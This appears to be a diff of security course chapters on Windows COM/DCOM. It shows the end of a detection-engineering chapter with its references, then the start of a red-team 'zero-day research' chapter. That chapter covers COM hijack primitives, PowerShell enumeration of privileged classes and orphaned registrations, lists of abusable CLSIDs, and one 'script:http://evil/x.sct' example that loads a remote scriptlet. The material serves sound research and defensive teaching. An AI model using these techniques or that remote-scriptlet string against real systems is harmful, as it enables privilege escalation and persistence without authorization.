For the lineage and network seams, swap `logsource` to `process_creation` (parent/child pairs from section 3.1) or use the RPC Firewall event channel with interface UUIDs from section 2.4; the Splunk/Sigma entries cited in sections 3–7 are worked examples of each form ([1], [14], [15]). Automating the enumeration-to-telemetry pipeline (registry → JSON of interfaces → scripted `Invoke` while capturing) is described in the incendium.rocks methodology ([58]).
|
||||||
|
|
||||||
|
### 5. Triage: is this artifact a durable rule?
|
||||||
|
|
||||||
|
A diff artifact is worth codifying when it passes four checks (derived from the durability lessons in sections 3–9):
|
||||||
|
|
||||||
|
- **Rare in baseline** — `ScriptletURL`, `AllowDCOMReflection`, AppID `RunAs` changes are near-zero in healthy estates; `InprocServer32` writes are not (installers churn them).
|
||||||
|
- **Necessary for the technique** — the attacker cannot remove it without switching technique classes (the StdFont `TreatAs` is necessary for the trapped-COM CLR path; the *specific CLSID* is not — Outflank found alternates ([56])).
|
||||||
|
- **Survives template mutation** — method names on the wire and lineage anchors survive; default-tool strings (DotNetToJScript's June-2018 signature set) do not ([43]).
|
||||||
|
- **Version-tolerant** — opnum filters and exact ports rot across builds (section 2.5's discrepancy warning); registry paths and UUIDs age better.
|
||||||
|
|
||||||
|
### 6. Validate, then widen
|
||||||
|
|
||||||
|
Replay the rule against the baseline corpus (false-positive pass), then against the technique's *variants* (true-positive pass: per-user vs machine hive, WOW6432Node path, local vs remote form). Then generalize: a rule on one hijacked CLSID becomes a rule on the *seam* (`InprocServer32` outside System32), and the specific CLSID drops to a threat-intel enrichment. Contribute upstream — the SigmaHQ `registry_set` COM rules and the RPC Firewall rules in this chapter all started as somebody's diff ([15], [16]).
|
||||||
|
|
||||||
|
### 7. Further reading
|
||||||
|
|
||||||
|
- Hunting COM Objects, parts 1–2 — FireEye (2019) — the fleet-scale COM hunting methodology ([32]).
|
||||||
|
- How to Hunt: Detecting Persistence and Evasion with COM — Elastic ([20]).
|
||||||
|
- Utilizing RPC Telemetry — SpecterOps ([5]).
|
||||||
|
- FalconFriday 0xFF05: DCOM/SCM Lateral Movement — FalconForce ([2]).
|
||||||
|
- KnowYourAdversary #111: Black Basta TypeLib Hunting ([57]).
|
||||||
|
- COM Hijacking from a Defender's Perspective — HexaStrike ([68]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
[1] Sigma Rule: MMC20 Lateral Movement (`proc_creation_win_mmc_mmc20_lateral_movement`) — SigmaHQ via detection.fyi — https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement/
|
||||||
|
[2] FalconFriday 0xFF05: DCOM/SCM Lateral Movement — FalconForce — https://falconforce.nl/falconfriday-dcom-scm-lateral-movement-0xff05/
|
||||||
|
[3] Hunting Impacket RCE Tools — misthi0s (2023) — https://misthi0s.dev/posts/2023-03-08-hunting-impacket-rce-tools/
|
||||||
|
[4] BloodHound: ExecuteDCOM Edge — SpecterOps — https://bloodhound.specterops.io/resources/edges/execute-dcom
|
||||||
|
[5] Utilizing RPC Telemetry — SpecterOps — https://posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5
|
||||||
|
[6] Stopping Lateral Movement via the RPC Firewall — Zero Networks — https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall
|
||||||
|
[7] RPC Firewall (repository) — Zero Networks — https://github.com/zeronetworks/rpcfirewall
|
||||||
|
[8] KB5004442 — Manage Changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft Support (2021) — https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-979ed901b716
|
||||||
|
[9] Microsoft DCOM Hardening Patch (CVE-2021-26414) — Events 10036/10037/10038 — SoftwareToolbox — https://help.softwaretoolbox.com/faq/microsoft-dcom-hardening
|
||||||
|
[10] DCOM Authentication Hardening: What You Need to Know — Microsoft Tech Community — https://techcommunity.microsoft.com/blog/windows-itpro-blog/dcom-authentication-hardening-what-you-need-to-know/3657154
|
||||||
|
[11] Lateral Movement Using the MMC20.Application COM Object — enigma0x3 (2017) — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
|
||||||
|
[12] dcomexec.py — impacket (Fortra) — https://github.com/fortra/impacket/blob/master/examples/dcomexec.py
|
||||||
|
[13] Abusing DCOM for Yet Another Lateral Movement Technique (mobsync) — bohops (2018) — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/
|
||||||
|
[14] CAR-2019-04-003 (Squiblydoo) — MITRE Cyber Analytics Repository — https://car.mitre.org/analytics/CAR-2019-04-003/
|
||||||
|
[15] Sigma — Generic Signature Format for SIEM Systems (rule repository) — SigmaHQ — https://github.com/SigmaHQ/sigma
|
||||||
|
[16] Sigma: `registry_set_persistence_com_hijacking_builtin.yml` — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_builtin.yml
|
||||||
|
[17] Sigma: `registry_set_persistence_com_key_linking.yml` — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml
|
||||||
|
[18] Sigma: `registry_set_treatas_persistence.yml` — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml
|
||||||
|
[19] Elastic Prebuilt Rule: `persistence_suspicious_com_hijack_registry.toml` — Elastic — https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml
|
||||||
|
[20] How to Hunt: Detecting Persistence and Evasion with COM — Elastic — https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com
|
||||||
|
[21] Remote Process Instantiation via DCOM and PowerShell — Splunk Threat Research — https://research.splunk.com/endpoint/d4f42098-4680-11ec-ad07-3e22fbd008af/
|
||||||
|
[22] Remote Process Instantiation via DCOM and PowerShell Script Block — Splunk Threat Research — https://research.splunk.com/endpoint/fa1c3040-4680-11ec-a618-3e22fbd008af/
|
||||||
|
[23] Mmc LOLBAS Execution Process Spawn — Splunk Threat Research — https://research.splunk.com/endpoint/f6601940-4c74-11ec-b9b7-3e22fbd008af/
|
||||||
|
[24] Possible Lateral Movement PowerShell Spawn — Splunk Threat Research — https://research.splunk.com/endpoint/22282a2d-dc19-4b88-ac61-6c86ff92904f/
|
||||||
|
[25] FodHelper UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/909f8fd8-7ac8-11eb-a1f3-acde48001122/
|
||||||
|
[26] WSReset UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/8b5901bc-da63-11eb-be43-acde48001122/
|
||||||
|
[27] .NET Profiler UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/0252ca80-e30d-11eb-8aa3-acde48001122/
|
||||||
|
[28] Windows Handle Duplication in Known UAC-Bypass Binaries — Splunk Threat Research — https://research.splunk.com/endpoint/d7369bf5-1315-4138-b927-2dd8bb8c1da7/
|
||||||
|
[29] Windows UAC Bypass Suspicious Child Process — Splunk Threat Research — https://research.splunk.com/endpoint/453a6b0f-b0ea-48fa-9cf4-20537ffdd22c/
|
||||||
|
[30] Eventvwr UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/9cf8fe08-7ad8-11eb-9819-acde48001122/
|
||||||
|
[31] Hijacked and Hidden: New Backdoor and Persistence Technique (TypeLib hijack, Black Basta affiliate) — ReliaQuest (2025) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/
|
||||||
|
[32] Hunting COM Objects (two parts) — FireEye (2019) — https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
|
||||||
|
[33] Revisiting COM Hijacking — SpecterOps (2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/
|
||||||
|
[34] COM Object Hijacking: The Discreet Way of Persistence — G-Data (2014) — https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
|
||||||
|
[35] Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques for Evasion and Persistence — bohops (2018) — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
|
||||||
|
[36] COM Objects Hijacking (LiveHunt YARA) — VirusTotal (2024) — https://blog.virustotal.com/2024/03/com-objects-hijacking.html
|
||||||
|
[37] Windows Bug Class: Accessing Trapped COM Objects with IDispatch — James Forshaw, Google Project Zero (2025) — https://projectzero.google/2025/01/windows-bug-class-accessing-trapped-com.html
|
||||||
|
[38] Fileless Lateral Movement with Trapped COM Objects (ForsHops) — IBM X-Force (2025) — https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects
|
||||||
|
[39] RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force (2025) — https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions
|
||||||
|
[40] Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol (RemotePotato0) — SentinelOne (2021) — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/
|
||||||
|
[41] Bypass Application Whitelisting Script Protection (Squiblydoo) — Casey Smith / subTee (2016) — https://subt0x11.blogspot.com/2016/04/bypass-application-whitelisting-script.html
|
||||||
|
[42] DotNetToJScript — James Forshaw (2017) — https://github.com/tyranid/DotNetToJScript
|
||||||
|
[43] Disabling AMSI in JScript with One Simple Trick — James Forshaw (2018) — https://www.tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html
|
||||||
|
[44] Antimalware Scan Interface (AMSI) — Red Canary — https://redcanary.com/blog/amsi/
|
||||||
|
[45] Atomic Red Team (T1021.003 / T1546.015 / T1548.002) — Red Canary — https://github.com/redcanaryco/atomic-red-team
|
||||||
|
[46] sysmon-config — SwiftOnSecurity — https://github.com/SwiftOnSecurity/sysmon-config
|
||||||
|
[47] sysmon-modular — Olaf Hartong — https://github.com/olafhartong/sysmon-modular
|
||||||
|
[48] MITRE ATT&CK: T1021.003, T1559.001, T1546.015, T1548.002, T1218.010 — MITRE — https://attack.mitre.org/techniques/T1021/003/
|
||||||
|
[49] UACME — Defeating Windows User Account Control — hfiref0x — https://github.com/hfiref0x/UACME
|
||||||
|
[50] UAC Bypass by Mocking Trusted Directories — David Wells, Tenable (2020) — https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
|
||||||
|
[51] DBatLoader and Remcos RAT Sweep Eastern Europe — SentinelOne (2023) — https://www.sentinelone.com/blog/dbatloader-and-remcos-rat-sweep-eastern-europe/
|
||||||
|
[52] No More JuicyPotato? Old Story, Welcome RoguePotato! — decoder & splinter_code (2020) — https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
|
||||||
|
[53] PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019 — itm4n (2020) — https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
|
||||||
|
[54] Giving JuicyPotato a Second Chance: JuicyPotatoNG — decoder & splinter_code (2022) — https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/
|
||||||
|
[55] OleViewDotNet — James Forshaw — https://github.com/tyranid/oleviewdotnet
|
||||||
|
[56] Accelerating Offensive Research with LLMs (alternative trapped-COM classes) — Outflank (2025) — https://www.outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/
|
||||||
|
[57] KnowYourAdversary #111: Black Basta TypeLib Hunting — KnowYourAdversary (2025) — https://www.knowyouradversary.ru/2025/04/
|
||||||
|
[58] Automating COM/DCOM Vulnerability Research — incendium.rocks — https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/
|
||||||
|
[59] DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape — hack.lu (2025) — https://d3lb3.github.io/assets/hacklu_2025.pdf
|
||||||
|
[60] Hardening Microsoft Windows 10/11 Workstations — Australian Cyber Security Centre — https://www.cyber.gov.au/sites/default/files/2025-09/hardening_microsoft_windows_10_workstations_september_2025.pdf
|
||||||
|
[61] Lateral Movement via DCOM Round 2 (ShellWindows / ShellBrowserWindow) — enigma0x3 (2017) — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
|
||||||
|
[62] DCOM Lateral Movement Techniques — Cybereason — https://www.cybereason.com/blog/dcom-lateral-movement-techniques
|
||||||
|
[63] I Like to Move It: Windows Lateral Movement Part 2 — DCOM — MDSec (2020) — https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/
|
||||||
|
[64] LocalPotato: When Swapping the Context Leads You to SYSTEM — decoder & splinter_code (2023) — https://decoder.cloud/2023/02/13/localpotato-when-swapping-the-context-leads-you-to-system/
|
||||||
|
[65] "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
|
||||||
|
[66] Weaponizing Privileged File Writes with the USO Service (Parts 1–2) — itm4n (2019) — https://itm4n.github.io/usodllloader-part1/
|
||||||
|
[67] Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege (DiagHub) — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
|
||||||
|
[68] COM Hijacking from a Defender's Perspective — HexaStrike — https://hexastrike.com/resources/blog/dfir/com-hijacking-from-a-defenders-perspective/
|
||||||
@@ -0,0 +1,628 @@
|
|||||||
|
# 08 · The Zero-Day Research Capstone
|
||||||
|
|
||||||
|
> **Audience / level:** Advanced red team operators and vulnerability researchers; assumes chapters 01–06. **Prerequisites:** COM activation internals, the impersonation contract, AppID security, OleViewDotNet basics, WinDbg attach/breakpoint fluency. **Estimated reading time:** 90–120 minutes.
|
||||||
|
> After this chapter you will be able to run a repeatable, eight-stage pipeline — enumerate, triage, reverse, harness, fuzz, prove, weaponize, report — that turns the COM attack surface covered by this course into new, original bugs.
|
||||||
|
|
||||||
|
**Contents**
|
||||||
|
- [1. The research mindset](#1-the-research-mindset)
|
||||||
|
- [2. Stage 1 — Enumeration: building the target list](#2-stage-1--enumeration-building-the-target-list)
|
||||||
|
- [3. Stage 2 — Triage: ranking candidates](#3-stage-2--triage-ranking-candidates)
|
||||||
|
- [4. Stage 3 — Static reverse engineering](#4-stage-3--static-reverse-engineering)
|
||||||
|
- [5. Stage 4 — Dynamic analysis harness](#5-stage-4--dynamic-analysis-harness)
|
||||||
|
- [6. Stage 5 — Fuzzing COM interfaces](#6-stage-5--fuzzing-com-interfaces)
|
||||||
|
- [7. Stage 6 — From crash or lead to a proven primitive](#7-stage-6--from-crash-or-lead-to-a-proven-primitive)
|
||||||
|
- [8. Stage 7 — Weaponization and reporting](#8-stage-7--weaponization-and-reporting)
|
||||||
|
- [9. The research backlog: open problems worth hunting](#9-the-research-backlog-open-problems-worth-hunting)
|
||||||
|
- [10. Appendix A — Master tooling table](#10-appendix-a--master-tooling-table)
|
||||||
|
- [11. Appendix B — Master reading list](#11-appendix-b--master-reading-list)
|
||||||
|
- [12. References](#12-references)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. The research mindset
|
||||||
|
|
||||||
|
COM remains under-explored for structural reasons, not because it is hidden. It is the substrate under OLE, ActiveX, WMI, the shell, Office automation, WinRT, and UAC; practically every Windows process loads `combase.dll`/`ole32.dll`; thousands of classes are registered by default; and activation is driven entirely by the registry, which makes the surface enormous, largely un-audited per class, and almost invisible to file-less-malware defenses. Chapter 01 mapped thirteen fundamental primitives rooted in that design; every technique in chapters 02–06 is an instance of one of them:
|
||||||
|
|
||||||
|
| # | Primitive (chapter 01) | Attack family it feeds |
|
||||||
|
|---|---|---|
|
||||||
|
| 1 | HKCU shadowing of `CLSID\{X}\InprocServer32`/`LocalServer32` | Persistence / UAC bypass |
|
||||||
|
| 2 | `TreatAs`/`AutoTreatAs` redirect | Persistence |
|
||||||
|
| 3 | Phantom `InprocServer32`/`LocalServer32` paths | Persistence |
|
||||||
|
| 4 | `Interface\{IID}\ProxyStubClsid32` shadow (DLL into *both* endpoints) | LPE / Persistence |
|
||||||
|
| 5 | `TypeLib\{LIBID}\...\win32` path shadow + `LoadTypeLib` moniker quirk | Persistence / Execution |
|
||||||
|
| 6 | ProgID/`CurVer` squatting | Persistence |
|
||||||
|
| 7 | Moniker string injection (`script:`, `new:`, `session:`, `Elevation:`) | Execution |
|
||||||
|
| 8 | ROT squatting/snooping | LPE / Execution |
|
||||||
|
| 9 | Cross-session activation (`RunAs=Interactive User`) | LPE |
|
||||||
|
| 10 | DCOM remote activation of LM-friendly classes | Lateral movement |
|
||||||
|
| 11 | Custom-marshal blob abuse (`OBJREF_CUSTOM` forgery) | Execution / Relay |
|
||||||
|
| 12 | Surrogate abuse (`DllSurrogate`) | Persistence / Execution |
|
||||||
|
| 13 | Reg-free COM manifest hijack | Persistence / Execution |
|
||||||
|
|
||||||
|
> **Key idea:** Thirteen primitives, six chapters of techniques, and no reason to believe the list is closed. The primitives are *design properties* (merged-view precedence, marshal-by-reference, AppID ACLs, the impersonation contract); design properties do not get patched — individual weaponizations do.
|
||||||
|
|
||||||
|
### 1.1 The two root patterns behind almost every find
|
||||||
|
|
||||||
|
Nearly every bug in this course reduces to one of two root causes:
|
||||||
|
|
||||||
|
1. **"A service exposes a dangerous method to everyone."** DiagHub's SYSTEM service let any user drive `AddAgent(dllPath, guid)` into `LoadLibraryExW` ([3]). UPnP Device Host exposed the undocumented `IUPnPContainerManager` (IID `6D8FF8D4-730D-11D4-BF42-00B0D0118B56`) methods `ReferenceContainer`, `CreateInstance`, `CreateInstanceWithProgID` to any local user as LOCAL SERVICE — CVE-2019-1405, fixed by adding Administrators-only checks to the dangerous methods ([7]). StorSvc's `SvcMoveFileInheritSecurity` impersonated, moved the file, then reverted and called `SetNamedSecurityInfo` as SYSTEM — the late-impersonation pattern ([3]). USO loaded a non-existent `windowscoredeviceinfo.dll` from System32 on every session creation ([5]).
|
||||||
|
2. **"The registry is trusted more than it should be."** The `HKCR` merged view lets per-user keys silently override system keys ([47]); `ProxyStubClsid32` shadows inject a DLL into every process that marshals that interface, including SYSTEM servers; `TreatAs` redirects activation without touching the target's `InprocServer32` ([28], [29]); and `LoadTypeLib` parses a non-TLB path string as a *moniker display name*, so `"script:http://evil/x.sct"` reaches the script moniker from a "data" API ([23]).
|
||||||
|
|
||||||
|
A third, smaller family is **marshaling trust**: forged `OBJREF`/`IStorage` bindings (CVE-2015-2370 and the whole potato lineage it birthed ([8], [17])) and objects marshaled by reference that were never meant to leave their process (trapped objects ([4])).
|
||||||
|
|
||||||
|
### 1.2 Microsoft's mitigation style — and what it teaches
|
||||||
|
|
||||||
|
Microsoft rarely fixes a whole bug class; it kills the *weaponization primitive* that made the class exploitable:
|
||||||
|
|
||||||
|
| Mitigation | Year | Primitive killed | Bug class left behind |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 1809 silent `rpcss` fix (`CreateRemoteBindingToOR`, OXID on port 135 only, remote OXID queries as ANONYMOUS LOGON, captured tokens downgraded to Identification, CLSIDs gated to INTERACTIVE) | 2018 | Rotten/JuicyPotato reflection ([9]) | Service-account token capture — re-solved by RoguePotato and JuicyPotatoNG ([12], [13]; conceptual root in Forshaw's DCOM-relay work ([18])) |
|
||||||
|
| DiagHub `ProcessImageLoadPolicy` (Microsoft-signed loads only) | 19H1/1903 | "Load arbitrary extension from System32" via `AddAgent` ([3]) | Arbitrary file-write bugs — re-bridged by USO ([5]) |
|
||||||
|
| oleaut32 `VerifyTrust` (cached signing level ≥ 12 for TLBs in protected processes) | 2019-era | Type-library substitution inside protected processes ([4]) | Trapped-object instantiation — re-bridged via .NET/StdFont ([4]) |
|
||||||
|
| CI.DLL `CipMitigatePPLBypassThroughInterpreters` (blocks `scrobj.dll`, `jscript.dll`, etc. in protected processes) | 1803 | Scriptlet-based PPL injection ([24]) | PPL type-confusion — re-bridged by KnownDlls aliasing, `IRundown::DoCallback` ([24], [25]) |
|
||||||
|
| KB5004442 / CVE-2021-26414 (PKT_INTEGRITY floor for activation) | 2021–2023 | Relay *to* DCOM activation ([10]) | Authenticated admin DCOM LM; relay *from* DCOM ([26], [27]) |
|
||||||
|
|
||||||
|
Three lessons fall out of that table:
|
||||||
|
|
||||||
|
- **Chase primitives, not bugs.** When a loader policy or binding builder dies, the underlying file-write/auth-capture bugs usually survive; the researcher who finds the *next* bridge (USO after DiagHub, RoguePotato after JuicyPotato) owns the next CVE family.
|
||||||
|
- **Diff the silent fixes.** The 1809 OXID change was never a CVE; it was found by researchers diffing `rpcss.dll` ([9]). `rpcss.dll`, `combase.dll`, `ole32.dll`, `oleaut32.dll` are the four binaries to BinDiff every Patch Tuesday.
|
||||||
|
- **"Not a boundary" is a hunting license.** Microsoft services UAC and PPL slowly or not at all (no CVEs/bounties for PPL-only issues ([24]; "we don't consider UAC a hard security boundary" — MSRC case 64957, per Kanthak ([43])). Bug density in these zones stays high precisely because fixes ship late.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the pipeline you will run for the rest of this chapter, left to right — enumerate (OleViewDotNet, registry sweeps), triage (OOP + SYSTEM + ACLs + dangerous methods), static RE, dynamic harness, fuzzing, root-cause, weaponize, report — with the tools named at each stage. Sections 2–8 map one-to-one onto the stages.*
|
||||||
|
|
||||||
|
> **Legal:** Everything here is for authorized research: your own lab VMs, bug-bounty scope, or systems you are contracted to test. The enumeration and fuzzing stages are indistinguishable from attack behavior on a network you do not own.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Stage 1 — Enumeration: building the target list
|
||||||
|
|
||||||
|
The goal of Stage 1 is a *complete* candidate list: every COM class on the box that could plausibly execute attacker-influenced logic at a higher privilege, plus every registry path whose trust could be subverted. Completeness matters more than precision — Stage 3 discards.
|
||||||
|
|
||||||
|
> **Beginner note:** An **out-of-process (OOP) server** is a COM class whose code runs in its own process — a `LocalServer32` EXE, a service-hosted class, or a DLL hosted by the `dllhost.exe /Processid:{AppID}` surrogate. OOP matters because the server process often runs as SYSTEM, so "who may activate it and what methods does it expose" becomes a privilege question. In-process (`InprocServer32`) classes matter when the *host* is privileged (auto-elevated binaries, PPL services, other users' processes).
|
||||||
|
|
||||||
|
### 2.1 OleViewDotNet — deep usage
|
||||||
|
|
||||||
|
OleViewDotNet (Forshaw) is the recon workhorse ([1]). Two front-ends, same data:
|
||||||
|
|
||||||
|
**GUI views that build target lists:**
|
||||||
|
|
||||||
|
- `Registry → Local Services` — COM objects hosted in Windows services, with filtering. This is the LPE shortlist.
|
||||||
|
- `Registry → CLSIDs by Server` — group by server binary to see which DLL/EXE carries the most classes.
|
||||||
|
- Object node → **View Launch Permissions / View Access Permissions** — the AppID SDDLs decoded; a class readable by `Authenticated Users`/`INTERACTIVE` shows up immediately.
|
||||||
|
- AppID properties expose `RunAs`, service name, and **ServiceProtectionLevel** (PPL); the class list can be filtered to **"Run as: Interactive User"** — the exact filter that surfaces cross-session candidates such as the PhoneExperienceHost class `{7540C300-BE9B-4C0D-A335-F002F9AB73B7}` behind bohops' CVE-2023-33127 chain ([11]).
|
||||||
|
|
||||||
|
**PowerShell module** (`Install-Module OleViewDotNet` — **PowerShell 5 only, not 7+**):
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
Get-ComClass -Service # all service-hosted classes (the LPE shortlist)
|
||||||
|
Get-ComClass -Clsid 42CBFAA7-A4A7-47BB-B422-BD10E9D02700
|
||||||
|
$cls.Servers # InProc vs Local server registrations
|
||||||
|
$cls.AppIDEntry # RunAs identity, service name
|
||||||
|
$cls.AppIDEntry.ServiceProtectionLevel # PPL check, e.g. WindowsLight
|
||||||
|
Get-ComInterface -Class $cls # interfaces the class advertises
|
||||||
|
New-ComObject -Clsid 72566E27-1ABB-4EB3-B4F0-EB431CB1CB32
|
||||||
|
Import-ComTypeLib -Object $obj # pull the object's type library
|
||||||
|
Get-ComObjRef $obj # proves OOP: shows hosting PID/process name
|
||||||
|
```
|
||||||
|
|
||||||
|
Worked example — the exact enumeration behind the trapped-objects research ([4]): `Get-ComClass -Service` → enumerate interfaces → filter `IsDispatch` → **five candidates on a default box**: WaaSRemediation `{72566E27-1ABB-4EB3-B4F0-EB431CB1CB32}`, SearchGatheringManager `{9E175B68-F52A-11D8-B9A5-505054503030}`, SearchGathererNotification `{9E175B6D-F52A-11D8-B9A5-505054503030}`, AutomaticUpdates `{BFE18E9C-6D87-4450-B37C-E02F0B373803}`, and `Microsoft.SyncShare.SyncShareFactoryClass` `{DA1C0281-456B-4F14-A46D-8ED2E21A866F}`. One `IsDispatch` filter turned "thousands of classes" into a weekend-sized list — that is what good enumeration looks like. OleViewDotNet can also invoke arbitrary methods, view the ROT, parse `.winmd` metadata, and spawn elevated instances (`CreateElevated`).
|
||||||
|
|
||||||
|
### 2.2 Raw-registry sweeps
|
||||||
|
|
||||||
|
OleViewDotNet reads the registry; sometimes you want the registry itself:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Full CLSID/AppID walk (machine + merged view)
|
||||||
|
Get-ChildItem Registry::HKEY_CLASSES_ROOT\CLSID
|
||||||
|
reg query HKCR\CLSID /s
|
||||||
|
# DCOM-reachable applications and their AppIDs
|
||||||
|
Get-CimInstance Win32_DCOMApplication
|
||||||
|
# Orphan sweep (bohops): registered servers whose binary is missing ([28])
|
||||||
|
$inproc = Get-WmiObject Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
|
||||||
|
foreach ($p in ($inproc | %{$_.InprocServer32})) { $p; cmd /c dir $p > $null } # "File Not Found" = orphan
|
||||||
|
# Scheduled tasks with COM handler actions = timed triggers ([34])
|
||||||
|
foreach ($Task in Get-ScheduledTask) {
|
||||||
|
if ($Task.Actions.ClassId -ne $null -and $Task.Triggers.Enabled -eq $true -and $Task.Principal.GroupId -eq "Users") {
|
||||||
|
Write-Host "$($Task.TaskName) :: $($Task.Actions.ClassId)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Dangling references:** ProcMon during logon/app launches with `Operation is RegOpenKey` + `Result is NAME NOT FOUND` + `Path ends with InprocServer32` — every hit is a CLSID a live process *tries* to activate that you can register in HKCU ([30]). The ClickOnce phantom-object technique (pre-registering a CLSID that `dfsvc.exe` registers later) is this idea weaponized ([31]).
|
||||||
|
- **Phantom hunting generally:** ProcMon `Path contains InprocServer32/LocalServer32/TreatAs/ProxyStubClsid32`, `Result = NAME NOT FOUND`.
|
||||||
|
- **Per-user shadow audit:** diff `HKCU\Software\Classes\CLSID` and `...\TypeLib` against HKLM; anything present in both with different server paths is an existing hijack or a plant.
|
||||||
|
|
||||||
|
### 2.3 The WinRT surface
|
||||||
|
|
||||||
|
WinRT is COM vNext — same `IUnknown` base, `IInspectable` instead of `IDispatch`, `.winmd` metadata instead of TLBs — but its classes register per-package under `HKLM\SOFTWARE\Microsoft\WindowsRuntime` (with `ActivatableClassId` server mappings), **not** `HKCR\CLSID`. Classic CLSID tooling does not see them; OleViewDotNet parses both worlds. Brokers are just OOP COM servers with sandbox-facing activation permissions — CVE-2019-0555 (XML DOM exposed through WinRT → XSLT sandbox escape) is the canonical find ([4]). Enumerate this hive separately or your target list has a hole.
|
||||||
|
|
||||||
|
### 2.4 Automation: the incendium.rocks methodology
|
||||||
|
|
||||||
|
Manual browsing does not scale. The incendium.rocks methodology ([2]) automates the loop end-to-end: walk the registry/CLSID set → use OleViewDotNet to dump each class's interfaces and methods to **JSON** → build dynamic `IDispatch` stubs at runtime and **automatically `Invoke`** every method with generated arguments → logHRESULTs, crashes, and side effects. OleViewDotNet builds dynamic `IDispatch` stubs at runtime to call arbitrary vtables — the same primitive every COM fuzzer uses (§6).
|
||||||
|
|
||||||
|
### 2.5 Standing on corpora
|
||||||
|
|
||||||
|
Do not re-derive what is published: the JuicyPotato per-OS abusable-CLSID lists (`ohpe.it/juicy-potato/CLSID/`) encode the potato criteria (instantiable by the user, implements `IMarshal`, elevated server identity) per Windows build ([16]); the strontic xcyclopedia CLSID library catalogs classes and their capabilities; the juicy-potato repo README tables map CLSIDs to working OS versions. NCC's acCOMplice ships `masterkeys.csv` of known hijackable shell classes (§10). These are starting sets — your job is to extend them, not worship them.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Stage 2 — Triage: ranking candidates
|
||||||
|
|
||||||
|
A default Windows box yields thousands of classes; you can reverse perhaps a dozen well. Triage is a scoring pass that answers one question: *if I drive this object, does privileged code do something I control?* Every heuristic below is drawn from the case studies in this course — each is a property that a published bug actually had.
|
||||||
|
|
||||||
|
### 3.1 The master checklist
|
||||||
|
|
||||||
|
A candidate is promising if it checks these boxes, in descending order of importance:
|
||||||
|
|
||||||
|
1. **OOP server.** Registered with `LocalServer32`, hosted in a service via its AppID, or running in a `dllhost` surrogate. In-proc classes count only when the host is privileged (auto-elevated binary, PPL service, another user's process).
|
||||||
|
2. **Privileged identity.** Server runs as `NT AUTHORITY\SYSTEM` (direct win), `LOCAL SERVICE`/`NETWORK SERVICE` (hop — these hold `SeImpersonatePrivilege`, the potato entry point), or another user / `RunAs=Interactive User` (cross-session).
|
||||||
|
